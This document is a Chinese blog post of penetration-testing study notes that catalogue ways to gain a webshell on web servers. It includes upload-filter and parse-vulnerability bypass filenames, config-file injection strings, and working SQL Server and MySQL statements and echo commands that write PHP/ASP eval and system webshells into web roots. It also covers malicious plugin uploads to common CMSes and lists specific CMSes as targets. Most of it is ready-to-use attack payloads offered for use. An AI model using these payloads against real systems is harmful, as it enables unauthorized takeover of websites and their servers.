满天星
Fork me on GitHub

渗透测试学习笔记24-getshell方法总结

getshell方法总结(webshell)

管理权限拿webshell
普通权限拿webshell
常见cms拿shell


管理权限拿shell:
需要有管理员权限才可以拿shell
通常需要登录后台后执行相关操作
直接上传拿shell
数据库备份拿shell
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等.
而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如果jpg,gif等.
然后我们找到上传后的文件录,通过数据库备份,将文件备份为脚本格式.

备份之后不需要加.asa


突破上传拿shell

本地js验证上传
服务器mime上传
服务器白名单上传
服务器黑名单上传
服务器filepath上传
双文件上传
%00截断上传->ctrl+shift+u
上传其他脚本类型拿webshell


{year}{mm-dd-hh}.jpg
a.asp;.{year}{mm-dd-hh}.jpg

修改网站上传类型配置拿shell
有的网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp|php|jsp|aspx|asa来拿webshell
(一般指在编辑器里面)


利用解析漏洞拿webshell
1.IIS 5.x/6.0解析漏洞
2.IIS 7.0/IIS 7.5/Nginx<8.03畸形解析漏洞
3.Nginx<8.03空字节代码执行漏洞
4.Apache解析漏洞

reg:
a.asp/1.jpg   a.cer   a.asa   a.asp;.jpg   1.jpg/a.php
a.php%00.jpg
Apache漏洞一般是:  aa.php.zzz.ccc


利用编辑器漏洞拿webshell
常见的编辑器有fckeditor,ewebeditor,cheditor等

reg:
admin_uploadfile.asp?id=&dir=../..


网站配置插马拿webshell
通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该网站源码,进行查看源码过滤规则,以防插马失败
"%><%eval request("cracer")%><%'
一般有这个inc/config.asp文件的都可以这样插入
一般在后台->网站名称,网站标题等地方


通过编辑模板拿webshell
1.通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell
2.通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell

SQL->use master/mysql 爆路径
模板管理->库项目管理->配送方式<一句话>
库项目管理的.lbi改成.php 就可以访问了


上传插件拿shell
一些网站为了增加某些功能会在后台添加一些插件来实现,我们可以把木马添加到安装的插件中上传服务器拿shell
常见的有博客类网站,dz论坛都可以

reg:wordpress,emlog,zblog,dz
插件->安装插件,在插件里面放一个木马
会上传在wp-content->plugins->插件
访问这个木马就可以了


数据库执行拿webshell
我们可以通过数据库执行命令导出一句话到网站根目录拿shell
access数据库导出一般需要利用解析漏洞xx.asp;.xml
sqlserver导出
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
(前提权限要够)

mysql命令导出shell
Create TABLE study(cmd text NOT NULL);
Insert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php'
Drop TABLE EXISTS study;
版本二
use mysql;
create table x(packet text) type=MYISaM;
insert into x (packet) values('<pre><body><?php @system($_GET["cmd"]);?></body></pre>')
select into outfile 'd:\php\xx.php'
版本三
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/inetpub/wwwroot/mysql-php/1.php'


文件包含拿webshell
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿webshell
asp包含
1.<!--#include file="123.jpg"-->
2.调用的文件必须和被调用的文件在同一目录,,否则找不到
3.如果不在同一目录,用下面的语句:
<!--#include virtual="文件所在目录/123.jpg"-->
php包含
<?php
include('123.jpg');
?>
(这样可以绕waf)


命令执行拿shell
Echo ^<^?php @eval($_POST['cracer']);?^>^ >c:\1.php
Echo ^<^?php @eval($_POST['cracer']);?^>^ >c:\1.php
^<^%eval request("cracer")%^>^ >c:\1.php


普通用户前台拿shell
0day拿webshell
IIS写权限拿webshell
命令执行拿webshell
通过注入漏洞拿webshell
前台用户头像上传拿webshell
struts2拿webshell
java反序列拿shell

工具iisput可以扫描,扫到之后用write工具写入
先put,再MOVE命令重命名

头像上传,记准上传路径
抓包的一堆电脑编码替换掉:选中,然后右击粘贴来自于文件


常见cms拿shell
良精,科迅,动易,aspcms
dz
米拓cms
phpcms2008
帝国cms
phpwind9.0
phpv9
phpweb
dedecms

reg:IIS6.0漏洞:a.asp;html
-------------本文结束期待您的评论-------------